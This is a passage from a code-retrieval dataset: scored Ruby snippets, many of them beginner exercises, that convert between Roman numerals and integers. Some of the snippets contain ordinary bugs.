\n # how many fifties?\n fifties = num / 50\n if fifties != 0 then numeral << \"L\" * fifties end\n num = num % 50\n\n # how many tens?\n tens = num / 10\n if tens != 0 then numeral << \"X\" * tens end\n num = num % 10\n\n # how many fives?\n fives = num / 5\n if fives != 0 then numeral << \"V\" * fives end\n num = num % 5\n\n # how many units?\n ones = num / 1\n if ones != 0 then numeral << \"I\" * ones end\n num = num % 1\n\n puts \"#{num} is #{numeral} in old style Roman.\"\nend", "title": "" }, { "docid": "cd464deb0d00052f55e9f613bcc9fd4d", "score": "0.7694071", "text": "def romanToInt numeral\n return nil if numeral == '' # invalid numeral\n num = 0\n i = numeral.length - 1\n while true\n\n j = i\n # consecutive identical letters such as 'iii'\n while numeral[i] == numeral[j] && i >= 0\n # cannot be more than 3 consecutive identical letters\n return nil if i <= j - 3\n\n corrNum = correspondingNum(numeral[i])\n # cannot be more than 1 consecutive identical five-letter\n return nil if corrNum.to_s[0] == '5' && i <= j - 1\n\n if corrNum == nil\n return nil # invalid Roman numeral\n else\n num += corrNum\n end\n\n i -= 1\n end\n\n if i < 0\n return num # all letters converted\n end\n\n corrNum = correspondingNum(numeral[i])\n if corrNum == nil\n return nil # invalid Roman numeral\n else\n # if there's only one consecutive identical letter (such as 'x' instead\n # of 'xx') and the letter to the left represents a one-level smaller\n # number than the one on the right (such as 'iv' or 'xc')\n if i == j - 1 && compareLetters(numeral[i], numeral[j])\n num -= corrNum\n i -= 1\n end\n\n # next letter (if there is one) is smaller than current one\n # next letter may have changed at the previous i -= 1\n if i >= 0 && correspondingNum(numeral[i]) < correspondingNum(numeral[j])\n return nil # invalid Roman numeral\n end\n end\n\n end\nend", "title": "" }, { "docid": "d33711096ca92e5509467c46e5a84541", "score": "0.76699585", "text": "def solution(roman)\n mapping = {\n 'M' => 1000,\n 'D' => 500,\n 'C' => 100,\n 'L' => 50,\n 'X' => 10,\n 'V' => 5,\n 'I' => 1,\n }\n\n digits = roman.scan(/.{1}/).reverse.map{|d| mapping[d]}\n digits.map.with_index {|d, i| digits[i.zero? ? i : i - 1] > d ? -d : d}.inject(:+)\nend", "title": "" }, { "docid": "d877ea02732e89af376b6f350d266a6b", "score": "0.76621914", "text": "def roman_numeral num\n\t\n\tif num >= 1000\n\t\tthousands = 'M' * (num / 1000)\n\tend\n\n\tif num >= 100\n\t\ttemp_hundreds = (num % 1000) / 100\n\t\tif temp_hundreds == 9\n\t\t\thundreds = 'CM'\n\t\telsif (temp_hundreds < 9 && temp_hundreds > 5)\n\t\t\thundreds = 'D' + 'C' * (temp_hundreds - 5)\n\t\telsif temp_hundreds == 5\n\t\t\thundreds = 'D'\n\t\telsif temp_hundreds == 4\n\t\t\thundreds = 'CD'\n\t\telse\n\t\t\thundreds = 'C' * temp_hundreds\n\t\tend\n\tend\n\t\n\tif num >= 10\n\t\ttemp_tens = (num % 100) / 10\n\t\tif temp_tens == 9\n\t\t\ttens = 'XC'\n\t\telsif (temp_tens < 9 && temp_tens > 5)\n\t\t\ttens = 'L' + 'X' * (temp_tens - 5)\n\t\telsif temp_tens == 5\n\t\t\ttens = 'L'\n\t\telsif temp_tens == 4\n\t\t\ttens = 'XL'\n\t\telse\n\t\t\ttens = 'X' * temp_tens\n\t\tend\n\tend\n\t\n\tif num > 0\n\t\ttemp_ones = num % 10\n\t\tif temp_ones == 9\n\t\t\tones = 'IX'\n\t\telsif (temp_ones < 9 && temp_ones > 5)\n\t\t\tones = 'V' + 'I' * (temp_ones - 5)\n\t\telsif temp_ones == 5\n\t\t\tones = 'V'\n\t\telsif temp_ones == 4\n\t\t\tones = 'IV'\n\t\telse\n\t\t\tones = 'I' * temp_ones\n\t\tend\n\tend\n\t\n\tputs \"#{num} in \\\"Modern\\\" Roman numerals is \"+\"#{thousands}\"+\"#{hundreds}\"+\"#{tens}\"+\"#{ones}\"\nend", "title": "" }, { "docid": "eeb3fc8014006ec5d0616bacf4e7b805", "score": "0.7613866", "text": "def roman_to_int(s)\n yr = 0\n roman = {\n \"I\" => 1,\n \"V\" => 5,\n \"X\" => 10,\n \"L\" => 50,\n \"C\" => 100,\n \"D\" => 500,\n \"M\" => 1000\n }\n\n s.each_char.with_index do |char, idx|\n if idx == s.length - 1\n yr += roman[s[idx]]\n elsif roman[s[idx]] < roman[s[idx+1]]\n yr -= roman[s[idx]]\n else\n yr += roman[s[idx]]\n end\n end\n\n return yr\n\nend", "title": "" }, { "docid": "7edafe6944ed7f9ee929efae96aa8469", "score": "0.7612975", "text": "def roman (x)\n num = x.to_s.scan(/\\d/).map {|i| i.to_i}\n num = num.reverse\n \n ones = num[0]\n tens = num[1]\n hundreds = num [2]\n thousands = num [3]\n roman_num = \"\"\n \n #create result for ones digit\n if ones >= 5 \n result = (\"I\" * (ones-5)) + \"V\"\n roman_num += result\n else\n result = \"I\" * ones\n roman_num += result\n end\n \n #create result for tens digit\n if tens != nil #skips this loop if number is not >= 10\n if tens >= 5\n result = (\"X\" * (tens-5)) + \"L\"\n roman_num += result\n else\n result = \"X\" * tens\n roman_num += result\n end\n end\n \n #create result for hundreds digit\n if hundreds != nil #skips this loop if number is not >= 100\n if hundreds >= 5\n result = (\"C\" * (hundreds-5)) + \"D\"\n roman_num += result\n else\n result = \"C\" * hundreds\n roman_num += result\n end\n end\n \n #create result for thousands digit\n if thousands != nil #skips this loop if number is not >= 1000\n if thousands < 5\n result = \"M\" * thousands\n roman_num += result\n end\n end\n \n puts roman_num.reverse\nend", "title": "" }, { "docid": "71e1bd2b7403ebc08ea0ed86324f4f55", "score": "0.7603214", "text": "def toRoman\n\n # if the parameter out of range\n if self > 3999 || self == 0\n return nil\n end\n\n strNum = self.to_s\n # the unfinished Roman numeral\n numeral = ''\n numDigits = strNum.length\n\n i = 0\n while i < numDigits\n # the (numDigits - i)th digit from the right\n digit = strNum[i].to_i\n\n if digit == 9\n numeral += getOneLetter(numDigits - i) + getOneLetter(numDigits - i + 1)\n elsif digit == 4\n numeral += getOneLetter(numDigits - i) + getFiveLetter(numDigits - i)\n else\n if digit >= 5 # add five-letter\n numeral += getFiveLetter(numDigits - i)\n digit -= 5\n end\n numeral += getOneLetter(numDigits - i) * digit # add one-letter\n end\n\n i += 1\n end\n\n return numeral\n end", "title": "" }, { "docid": "28074f9ed32235578d6468b271f90160", "score": "0.75828755", "text": "def roman_to_integer(roman)\n separated = separate_values(roman)\n separated.inject(0) { |sum, x| sum + EQUIVALENCES[x] }\nend", "title": "" }, { "docid": "e15fca68457e5088d1848c5ffd484a94", "score": "0.7570111", "text": "def roman_to_int(s)\n # I = 1, V = 5, X = 10, L = 50, C = 100, D = 500, M = 1,000\n i = 0\n num = 0\n while i < s.length\n if s[i] == 'M'\n num += 1000\n i += 1\n next\n end\n\n #100- 900\n if s[i] == 'C' && s[i + 1] == 'M'\n num += 900\n i += 2\n next\n end\n\n if s[i] == 'C' && s[i + 1] == 'D'\n num += 400\n i += 2\n next\n end\n\n if s[i] == 'D'\n num += 500\n i += 1\n next\n end\n\n if s[i] == 'C'\n num += 100\n i += 1\n next\n end\n\n #10 - 90\n if s[i] == 'X' && s[i + 1] == 'C'\n num += 90\n i += 2\n next\n end\n\n if s[i] == 'X' && s[i + 1] == 'L'\n num += 40\n i += 2\n next\n end\n\n if s[i] == 'X'\n num += 10\n i += 1\n next\n end\n\n if s[i] == 'L'\n num += 50\n i += 1\n next\n end\n\n #1 - 9\n if s[i] == 'I' && s[i + 1] == 'X'\n num += 9\n i += 2\n next\n end\n\n if s[i] == 'I' && s[i + 1] == 'V'\n num += 4\n i += 2\n next\n end\n\n if s[i] == 'I'\n num += 1\n i += 1\n next\n end\n\n if s[i] == 'V'\n num += 5\n i += 1\n next\n end\n end\n num\nend", "title": "" }, { "docid": "14c2286fb69b4661153ec4c757b7cb6f", "score": "0.75628036", "text": "def roman_to_int(s)\n romans = {\n \"I\" => 1,\n \"V\" => 5,\n \"X\" => 10,\n \"L\" => 50,\n \"C\" => 100,\n \"D\" => 500,\n \"M\" => 1000\n }\n\n prev, result, idx = 0, 0, s.length - 1\n\n while idx >= 0\n current = romans[s[idx]]\n if current >= prev\n result += current\n else\n result -= current\n end\n\n prev = current\n idx -= 1\n end\n\n result\nend", "title": "" }, { "docid": "cbcb0c816a35975aa0ae0b562755a600", "score": "0.7556416", "text": "def roman_to_int(s)\n numerals = {1000 => \"M\", 900 => \"CM\", 500 => \"D\", 400 => \"CD\", 100 => \"C\", 90 => \"XC\", 50 => \"L\", 40 => \"XL\", 10 => \"X\", 9 => \"IX\", 5 => \"V\", 4 => \"IV\", 1 => \"I\"}\n\n answer = []\n arr = s.split(\"\")\n i = 0\n while i < arr.length\n double = numerals.find{|k,v| arr[i..i+1].join(\"\") == v}\n single = numerals.find{|k,v| arr[i] == v}\n if double\n answer.push(double[0])\n i+=2\n else\n answer.push(single[0])\n i+=1\n end\n end\n answer.reduce(:+)\nend", "title": "" }, { "docid": "888b9a9890a39ad03ab4889b5b4cf2a6", "score": "0.7556201", "text": "def roman_integer(string, number = 0)\nroman_mapping = {\n \"M\" => 1000,\n \"CM\" => 900,\n \"D\" => 500,\n \"CD\" => 400,\n \"C\" => 100,\n \"XC\" => 90,\n \"L\" => 50,\n \"XL\" => 40,\n \"X\" => 10,\n \"IX\" => 9,\n \"V\" => 5,\n \"IV\" => 4,\n \"I\" => 1\n}\n\nreturn number if string.empty?\n\nnumber += roman_mapping[string[0..1]] || roman_mapping[string[0]]\nkey = roman_mapping.has_key?(string[0..1]) ? string[0..1] : string[0]\nroman_integer(string.sub(key, \"\"), number)\nend", "title": "" }, { "docid": "6add7a7eb561fbe298688f730c79ad11", "score": "0.75399166", "text": "def roman_to_integer roman\n numbers = {\"I\"=>1, \"V\"=>5, \"X\"=>10, \"L\"=>50, \"C\"=>100, \"D\"=>500, \"M\"=>1000}\n running_total = 0\n characters = roman.length - 1\n place = 0\n roman = roman.upcase\n while place <= characters\n if numbers[roman[place]] == nil\n puts \"Not a true roman numeral.\"\n exit\n else\n if place == characters\n running_total = running_total + numbers[roman[place]]\n break\n else\n if numbers[roman[place]] >= numbers[roman[place + 1]]\n running_total = running_total + numbers[roman[place]]\n else\n running_total = running_total + (numbers[roman[place + 1]] - numbers[roman[place]])\n place = place + 1\n end\n end\n place = place + 1\n end\n end\n puts running_total\nend", "title": "" }, { "docid": "5c92089dae15399ac46082c8ae1e1a88", "score": "0.75293386", "text": "def r_to_n roman\n case roman\n when \"I\" then 1\n when \"V\" then 5\n when \"X\" then 10\n when \"L\" then 50\n when \"C\" then 100\n when \"D\" then 500\n when \"M\" then 1_000\n else 0\n end\nend", "title": "" }, { "docid": "394ec191571d4f7abcb719f0def26933", "score": "0.7519131", "text": "def roman_numeral num_to_convert\n\t\n\tremainder = num_to_convert\n\tnum_converted = ''\n\t\n\tmy_roman_array = [\n\t\t# [0] letter representation, \n\t\t# [1] number value, \n\t\t# [2] unique remainder value for alternate lettering, \n\t\t# [3] alternate lettering, \n\t\t# [4] remainder / number value, \n\t\t# [5] converted roman numeral ]\n\n\t\t[ 'M', 1000, 0, '', 0, '' ],\n\t\t[ 'D', 500, 900, 'CM', 0, '' ],\n\t\t[ 'C', 100, 0, 'CD', 0, '' ],\n\t\t[ 'L', 50, 90, 'XC', 0, '' ],\n\t\t[ 'X', 10, 0, 'XL', 0, '' ],\n\t\t[ 'V', 5, 9, 'IX', 0, '' ],\n\t\t[ 'I', 1, 0, 'IV', 0, '' ]\n\t]\n\n\tmy_roman_array.each do |array|\n\t\t\n\t\tarray[4] = remainder / array[1] # get the (remainder / number value)\n\n\t\tif array[2] != 0 && remainder >= array[2]\n\t\t\tarray[5] = array[3]\n\t\t\tremainder = remainder % array[2]\n\t\telsif array[4] >= 4\n\t\t\tarray[5] = array[3]\n\t\t\tremainder = remainder % (array[1] * array[4])\n\t\telse\n\t\t\tarray[5] = array[0]*array[4]\n\t\t\tremainder = remainder % (array[1])\n\t\tend\n\n\t\tnum_converted += array[5]\n\tend\n\n\tputs num_converted\n\treturn num_converted\n\nend", "title": "" }, { "docid": "6c2e24ddb3d5b426fcf7c2c1ce71cd83", "score": "0.7508779", "text": "def new_roman_numeral(number)\n\n numeral = \"\"\n\n # Calculate the number of Roman numeral digits\n thous = number/1000\n hunds = number%1000/100\n tens = number%100/10\n ones = number%10\n\n # Go through each digit and determine how to display it\n numeral << \"M\"*thous\n\n if hunds == 9\n numeral << \"CM\"\n elsif hunds == 4\n numeral << \"CD\"\n else\n numeral << \"D\" * (number%1000/500)\n numeral << \"C\" * (number%500/100)\n end\n\n if tens == 9\n numeral << \"XC\"\n elsif tens == 4\n numeral << \"XL\"\n else\n numeral << \"L\" * (number%100/50)\n numeral << \"X\" * (number%50/10)\n end\n\n if ones == 9\n numeral << \"IX\"\n elsif ones == 4\n numeral << \"IV\"\n else\n numeral << \"V\" * (number%10/5)\n numeral << \"I\" * (number%5/1)\n end\n\n numeral\n\nend", "title": "" }, { "docid": "148d286e358df218e43f666c456678c8", "score": "0.7501207", "text": "def old_roman_numeral num\n\n numberMs = \"M\" * (num / 1000)\n numberDs = \"D\" * ((num % 1000) / 500)\n numberCs = \"C\" * ((num % 500) / 100)\n numberLs = \"L\" * ((num % 100) / 50)\n numberXs = \"X\" * ((num % 50) / 10)\n numberVs = \"V\" * ((num % 10) / 5)\n numberIs = \"I\" * ((num % 5) / 1)\n\n return numberMs + numberDs + numberCs + numberLs + numberXs + numberVs + numberIs\n\nend", "title": "" }, { "docid": "f0fce8ae0c1030c81c07d4e7c2214d86", "score": "0.7495281", "text": "def roman_to_int(s)\n hash = {\n 'I'=> 1,\n 'V'=> 5,\n 'X'=> 10,\n 'L'=> 50,\n 'C'=> 100,\n 'D'=> 500,\n 'M'=> 1000\n }\n # 先將羅馬字跟相對的值存成 Hash\n\n total = 0\n index = 0\n # 定義變數為 0\n while s.length > index\n # 當引數長度大於 index 的值執行\n if s.length > index + 1 && hash[s[index + 1]] > hash[s[index]]\n # 當引數長度大於 index + 1 且後面數字大於當前數字\n total += hash[s[index + 1]] - hash[s[index]]\n # 總價加上後面數字減當前數字\n index += 1\n # 設定條件,避免無窮迴圈\n else\n total += hash[s[index]]\n # 如果否,總價加上當前數字\n end\n\n index += 1\n # 設定條件,避免無窮迴圈\n end\n\n total\n # 回傳總價\nend", "title": "" }, { "docid": "071c396463f1559f3d0d4867c595d315", "score": "0.7492819", "text": "def roman_to_int(s)\n res = 0\n temp = 0\n\n s.chars.each_with_index do |el, i|\n # subtractive case: if at least 2 symbols remaining AND value of s[i] < value of s[i + 1]\n if ROM_NUMS[s[i + 1]] && ROM_NUMS[el] < ROM_NUMS[s[i + 1]]\n temp = ROM_NUMS[el]\n else\n # Else this is NOT the subtractive case.\n res += (ROM_NUMS[el] - temp)\n temp = 0\n end\n end\n\n res\nend", "title": "" }, { "docid": "ea376fc87fc99aa0b6fdb9b2e5261fa2", "score": "0.7491873", "text": "def numeral_To_Roman integer\n\t#definitions\n\ti = 'I' * integer\n\tv = 'V' + 'I' * (integer % 5)\n\tx = 'X' * (integer/10) + 'V' * ((integer % 10)/5) + 'I' * (integer % 5)\n\tl = 'L' * (integer/50) + 'X' * ((integer % 50)/10) + 'V' * ((integer % 10)/5) + 'I' * (integer % 5)\n\tc = 'C' * (integer/100) + 'L' * (integer%100/50) + 'X' * ((integer % 50)/10) + 'V' * ((integer % 10)/5) + 'I' * (integer % 5)\n\td = 'D' * (integer/500) + 'C' * (integer%500/100) + 'L' * (integer%100/50) + 'X' * ((integer % 50)/10) + 'V' * ((integer % 10)/5) + 'I' * (integer % 5)\n\tm = puts 'M' * (integer/1000) + 'D' * (integer%1000/500) + 'C' * (integer%500/100) + 'L' * (integer%100/50) + 'X' * ((integer % 50)/10) + 'V' * ((integer % 10)/5) + 'I' * (integer % 5)\t\t\n\t\n\t#cases\n\tif integer < 5 \t\t\t\t\t\t\t\t\t#I\n\t\tputs i\n\n\telsif integer >= 5 && integer < 10\t\t\t\t#V\n\t\tputs v\n\n\telsif integer >= 10 && integer < 50\t\t\t\t#X\n\t\tputs x\n\n\telsif integer >= 50 && integer < 100 \t\t\t#L\n\t\tputs l\n\t\n\telsif integer >= 100 && integer < 500\t\t\t#C\n\t\tputs c\n\n\telsif integer >=500 && integer < 1000\t\t\t#D\n\t\tputs d\n\n\telsif integer >= 1000 && integer < 9999\t\t\t#M\n\t\tputs m\n\n\telse\n\t\tputs 'bacon'\n\tend\nend", "title": "" }, { "docid": "c099fa28cb6fba9036e8e42bccb7e63a", "score": "0.7478608", "text": "def old_roman_num(num)\n\n#Below is my answer and it's kind of bad compared to his. After that I'll put his answer\n digits = [\n {ones: 'I', fives: 'V'},\n {ones: 'X', fives: 'L'},\n {ones: 'C', fives: 'D'},\n {ones: 'M', fives: 'N\\A'}\n ]\n answer = ''\n i = 0\n while true\n last = num % 10\n if last >= 5\n ones = last - 5\n fives = 1\n else\n ones = last\n fives = 0\n end\n answer = (digits[i][:fives] * fives) + (digits[i][:ones] * ones) + answer\n return answer if num / 10 == 0\n num /= 10\n i += 1\n end\nend", "title": "" }, { "docid": "74f5ddfde6e0de1d42188e1e53d3db12", "score": "0.7478065", "text": "def roman_numeral num\n if num > 999999\n return \"number too big for roman numerals\"\n end\n\n rom_digits = ['I','V','X','L','C','D','M','P','Q','R','S','T','A','B','E','F']\n num_of_digits = (num).to_s.length\n roman_num = ''\n\n for i in 0...num_of_digits\n roman_num = romnum_1_to_9(num,rom_digits[i*2],rom_digits[i*2+1],rom_digits[i*2+2],10**i) + roman_num\n end\n \n return roman_num\n\nend", "title": "" }, { "docid": "ff3238f3634ec9afbdb798a2722e2788", "score": "0.7475497", "text": "def roman_to_int(num)\n roman = {\n 'M' => 1000,\n 'CM' => 900,\n 'D' => 500,\n 'CD' => 400,\n 'C' => 100,\n 'XC' => 90,\n 'L' => 50,\n 'XL' => 40,\n 'X' => 10,\n 'IX' => 9,\n 'V' => 5,\n 'IV' => 4,\n 'I' => 1\n }\n\n int = 0\n\n until num.empty?\n roman.each do |k,v|\n if num.start_with?(k)\n int += v\n num.sub!(k, '')\n break\n end\n end\n end\n\n int\nend", "title": "" }, { "docid": "f9540f3479710404395b0d66f2cf5d56", "score": "0.74751455", "text": "def to_roman (num)\n roman_nums = {\n \"I\" => 1,\n \"V\" => 5,\n \"X\" => 10,\n \"L\" => 5,\n \"C\" => 10,\n \"D\" => 5,\n \"M\" => 1000\n }\n\n num_parts = num.to_s.split \"\"\n roman = \"\"\n \n len = num_parts.length\n num_parts.each do |part|\n case len\n when 4\n if part.to_i < 4\n roman = roman + \"M\" * part.to_i\n end\n when 3\n if part.to_i < 4\n roman = roman + \"C\" * part.to_i\n elsif part.to_i == 4\n roman = roman + \"CD\"\n elsif part.to_i == 5\n roman = roman + \"D\"\n elsif part.to_i == 9\n roman = roman + \"CM\"\n else\n roman = roman + \"D\" + \"C\" * (part.to_i - roman_nums[\"D\"])\n end\n when 2\n if part.to_i < 4\n roman = roman + \"X\" * part.to_i\n elsif part.to_i == 4\n roman = roman + \"XL\"\n elsif part.to_i == 5\n roman = roman + \"L\"\n elsif part.to_i == 9\n roman = roman + \"XC\"\n else\n roman = roman + \"L\" + \"X\" * (part.to_i - roman_nums[\"L\"])\n end\n when 1\n if part.to_i < 4\n roman = roman + \"I\" * part.to_i\n elsif part.to_i == 4\n roman = roman + \"IV\"\n elsif part.to_i == 5\n roman = roman + \"V\"\n elsif part.to_i == 9\n roman = roman + \"IX\"\n else\n roman = roman + \"V\" + \"I\" * (part.to_i - roman_nums[\"V\"])\n end\n end\n len -= 1\n end\n puts roman\n return roman\nend", "title": "" }, { "docid": "900e3c244ef96e3e2687bb2e7d1ade2e", "score": "0.7469734", "text": "def roman_numeral integer\r\n if (integer <= 3000 && integer >= 1)\r\n thousands = integer / 1000\r\n hundreds = (integer - thousands * 1000) / 100\r\n tens = (integer - thousands * 1000 - hundreds * 100) / 10\r\n ones = integer - thousands*1000 - hundreds*100 - tens*10\r\n end\r\n roman = ''\r\n roman += 'M' * thousands\r\n if hundreds == 9\r\n roman += 'CM'\r\n elsif hundreds == 4\r\n roman += 'CD'\r\n elsif hundreds >= 5\r\n roman += 'D'\r\n hundreds -= 5\r\n roman += 'C' * hundreds\r\n else\r\n roman += 'C' * hundreds\r\n end\r\n\r\n if tens == 9\r\n roman += 'XC'\r\n elsif tens == 4\r\n roman += 'XL'\r\n elsif tens >= 5\r\n roman += 'L'\r\n tens -= 5\r\n roman += 'X' * tens\r\n else\r\n roman += 'X' * tens\r\n end\r\n\r\n if ones == 9\r\n roman += 'IX'\r\n elsif ones == 4\r\n roman += 'IV'\r\n elsif ones >= 5\r\n roman += 'V'\r\n ones -= 5\r\n roman += 'I' * ones\r\n else\r\n roman += 'I' * ones\r\nend\r\n return roman\r\nend", "title": "" }, { "docid": "2bfc2a415b0458eaa105a33d6fa9fd5d", "score": "0.746891", "text": "def roman num\n roman =''\n roman = roman + 'M' * (num/1000)\n roman = roman + 'D' * (num%1000/500)\n roman = roman + 'C' * (num%500/100)\n roman = roman + 'L' * (num%100/50)\n roman = roman + 'X' * (num%50/10)\n roman = roman + 'V' * (num%10/5)\n roman = roman + 'I' * (num%5/1)\n roman\nend", "title": "" }, { "docid": "973106fd989655526a849d6a99f9527e", "score": "0.7468309", "text": "def old_roman_numeral number\n digits = ['D','C','L','X','V','I']\n i = 0\n old_roman_num = 'M'*(number%10)\n number = (number/10).to_i\n while i<digits.length-1\n old_roman_num += digits[i]*((number%10)/5).to_i+digits[i+1]*((number%10)%5)\n number = (number/10).to_i\n i += 1\n end\n puts old_roman_num\nend", "title": "" }, { "docid": "a020a5b91c3c9ace40d90525714e4d1f", "score": "0.74530077", "text": "def roman_to_integer roman\n roman.upcase!\n valid_singles = {\n 'I' => 1,\n 'V' => 5,\n 'X' => 10,\n 'L' => 50,\n 'C' => 100,\n 'D' => 500,\n 'M' => 1000}\n\n valid_pairs = {\n 'CM' => 900,\n 'XC' => 90,\n 'IX' => 9,\n 'IV' => 4}\n\n total = 0\n\n while roman.length > 1 do\n letter = roman[0]\n next_letter = roman[1]\n #Check if numerals being scanned are still valid\n if !valid_singles.include?(letter) || !valid_singles.include?(next_letter)\n \tputs \"Invalid numeral entered\" \n \texit\n end\n\n #Add value of numeral being scanned if >= subsequent numeral and render all higher values invalid\n if valid_singles[letter] >= valid_singles[next_letter]\n total += valid_singles[letter]\n valid_singles.reject!{|k,v| v>valid_singles[letter]}\n roman = roman[1..roman.length]\n #Add value of paired numeral (e.g \"IX\") if valid \n else\n if valid_pairs.include?(letter+next_letter)\n \ttotal += valid_pairs[letter+next_letter]\n \tvalid_pairs.reject!{|k,v| v>valid_pairs[letter+next_letter]}\n \troman = roman[2..roman.length]\n else\n \tputs \"Invalid numeral entered\" \n \texit\n end\n end\n\n end\n\n #catch last numeral\n if roman.length == 1\n if !valid_singles.include?(roman[0])\n puts \"Invalid numeral entered\" \n exit\n end\n total += valid_singles[roman[0]]\n end\n\n total\nend", "title": "" }, { "docid": "f1fe2728c97fbc80e14a40dc945f981f", "score": "0.7447529", "text": "def old_Roman_Numeral number_Input\nroman_Numeral = \"\"\n\nif (number_Input/1000) > 0\n\troman_Numeral += (\"M\"*(number_Input/1000))\n\tnumber_Input == (number_Input%1000).to_i\nend\n\nif ((number_Input%1000)/500) > 0\n\troman_Numeral += (\"D\"*((number_Input%1000)/500))\n\tnumber_Input == (number_Input%500).to_i\nend\n\nif ((number_Input%500)/100) > 0\n\troman_Numeral += (\"C\"*((number_Input%500)/100))\n\tnumber_Input == (number_Input%100).to_i\nend\n\nif ((number_Input%100)/50) > 0\n\troman_Numeral += (\"L\"*((number_Input%100)/50))\n\tnumber_Input == (number_Input%50).to_i\nend\n\nif ((number_Input%50)/10) > 0\n\troman_Numeral += (\"X\"*((number_Input%50)/10))\n\tnumber_Input == (number_Input%10).to_i\nend\n\nif ((number_Input%10)/5) > 0\n\troman_Numeral += (\"V\"*((number_Input%10)/5))\n\tnumber_Input == (number_Input%5).to_i\nend\n\nif ((number_Input%5)/1) > 0\n\troman_Numeral += (\"I\"*((number_Input%5)/1))\n\tnumber_Input == (number_Input%1).to_i\nend\n\n\nputs roman_Numeral\nend", "title": "" }, { "docid": "ba3780b7006178e26659c4aafa9b9c9b", "score": "0.7445051", "text": "def roman_to_int(s)\n arr = s.split(\"\").map { |e| digit_convert(e) }\n n = arr.length - 1\n while n >= 1\n if arr[n - 1] < arr[n]\n combined = arr[n] - arr[n - 1]\n arr.delete_at(n)\n arr.delete_at(n - 1)\n arr.push(combined)\n n -= 2\n else\n n -= 1\n end\n end\n arr.inject(:+)\nend", "title": "" }, { "docid": "488a1a8faa9d2ad0206581e097e2f740", "score": "0.7443796", "text": "def oldRomanizer (basic)\n thousands = basic/1000\n fiveHundreds = (basic % 1000)/500\n hundreds = (basic % 500)/100\n fifties = (basic % 100)/50\n tens = (basic % 50)/10\n fives = (basic % 10)/5\n ones = (basic % 5)\n puts ('M'*thousands + 'D'*fiveHundreds + 'C'*hundreds + 'L'*fifties + 'X'*tens +'V'*fives + 'I'*ones)\nend", "title": "" }, { "docid": "cbdd0e8e23e3ea4c9f212ae74342a4ce", "score": "0.7442275", "text": "def roman_to_int(s)\n int = {\n \"I\" => 1,\n \"V\" => 5,\n \"X\" => 10,\n \"L\" => 50,\n \"C\" => 100,\n \"D\" => 500,\n \"M\" => 1000\n }\n\n idx = s.length - 1\n result = 0\n\n while idx >= 0\n if int[s[idx]] > int[s[idx - 1]] && idx > 0\n result += int[s[idx]] - int[s[idx - 1]]\n idx -= 1\n else\n result += int[s[idx]]\n end\n\n idx -= 1\n end\n \n result\nend", "title": "" }, { "docid": "e0c53916e3ad455ccc3757a8d7843216", "score": "0.7438253", "text": "def solution(roman)\n result = 0\n roman_array = roman.chars\n conv_table = {\n 'I' => 1,\n 'V' => 5,\n 'X' => 10,\n 'L' => 50,\n 'C' => 100,\n 'D' => 500,\n 'M' => 1000\n }\n\n i = 0\n\n until i == roman.length\n current_letter_value = conv_table[roman_array[i]]\n next_letter_value = conv_table[roman_array[i + 1]] if (i + 1) < roman.length\n if next_letter_value.nil? || current_letter_value >= next_letter_value\n result += current_letter_value\n else\n result += (next_letter_value - current_letter_value)\n i += 1\n end\n i += 1\n end\n\n result\nend", "title": "" }, { "docid": "bbfcae94ccc19290c203d8a91e4c2aa5", "score": "0.7427732", "text": "def roman (remainder, digit)\r\n if remainder < digit # ie you do not have any of this current roman letter\r\n x, y, z = nil\r\n a = remainder\r\n else # need to evaluate for current roman letter\r\n if remainder.to_s[/\\d/] == '9'\r\n x = z = 1\r\n y = nil\r\n a = remainder % (digit/5)\r\n elsif remainder.to_s[/\\d/] == '4'\r\n x = nil\r\n y = z = 1\r\n a = remainder % digit\r\n else # does not begin with 4 or 9, and can be processed normally\r\n x, z = nil\r\n y = remainder / digit\r\n a = remainder % digit\r\n end\r\n end \r\n\r\n [x,y,z,a]\r\n # x = number of times to print next roman letter\r\n # y = number of times to print current roman letter\r\n # z = number of times to print previous roman letter\r\n\r\n # a = remainder for next call\r\nend", "title": "" }, { "docid": "9e5f6464a0451dee99eed7dca46cd4ac", "score": "0.7410015", "text": "def old_roman_numberal num\nroman = ''\nroman = 'M' * (num/1000)\nroman = roman + 'D' * (num%1000 / 500)\t\nroman = roman + 'C' * (num%500 / 100)\nroman = roman + 'L' * (num%100 / 50)\nroman = roman + 'X' * (num%50 / 10)\nroman = roman + 'V' * (num%10 / 5)\nroman = roman + 'I' * (num%5 / 1)\n\n\nend", "title": "" }, { "docid": "d9fac48368d4a778192f8b716e5176d4", "score": "0.7403421", "text": "def roman_numeral num\n thous = (num / 1000)\n hunds = (num % 1000 / 100)\n tens = (num % 100 / 10)\n ones = (num % 10)\n\n roman = 'M' * thous\n if hunds == 9\n roman = roman + 'CM'\n elsif hunds == 4\n roman = roman + 'CD'\n else\n roman = roman + 'D' * (num % 1000 / 500)\n roman = roman + 'C' * (num % 500 / 100)\n end\n\n if tens == 9\n roman = roman + 'XC'\n elsif tens == 4\n roman = roman + 'XL'\n else\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n end\n\n if ones == 9\n roman = roman + 'IX'\n elsif ones == 4\n roman = roman + 'IV'\n else\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\n end\n\n roman\nend", "title": "" }, { "docid": "d43d9914901ed0be244e8a4d2d7cac8e", "score": "0.7383881", "text": "def old_roman_numeral num\n roman = ' '\n \n roman = roman + 'M' * (num / 1000) #Starts with the greatest number possible, \n\t# and captures what could be left over\n roman = roman + 'D' * (num % 1000 / 500) #Defines the leftovers as the new var and takes the \n\t# remainders again for the next lowest Roman Numeral\n roman = roman + 'C' * (num % 500 / 100)\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\n roman #Final result after dividing by all the Roman Letters\nend", "title": "" }, { "docid": "93879b6f4c9e79266910f2dc73644ef0", "score": "0.7374069", "text": "def old_roman_numeral num\r\n\troman = ''\r\n\r\n\troman = roman + 'M' * (num / 1000)\r\n\troman = roman + 'D' * (num % 1000 / 500)\r\n\troman = roman + 'C' * (num % 500 / 100)\r\n\troman = roman + 'L' * (num % 100 / 50)\r\n\troman = roman + 'X' * (num % 50 / 10)\r\n\troman = roman + 'V' * (num % 10 / 5)\r\n\troman = roman + 'I' * (num % 5 / 1)\r\n\troman\r\nend", "title": "" }, { "docid": "d2e42f6030e440df85e5e19cd79d4e9a", "score": "0.7370731", "text": "def old_roman (num)\n roman = ''\n roman = roman + \"M\" * (num / 1000)\n roman 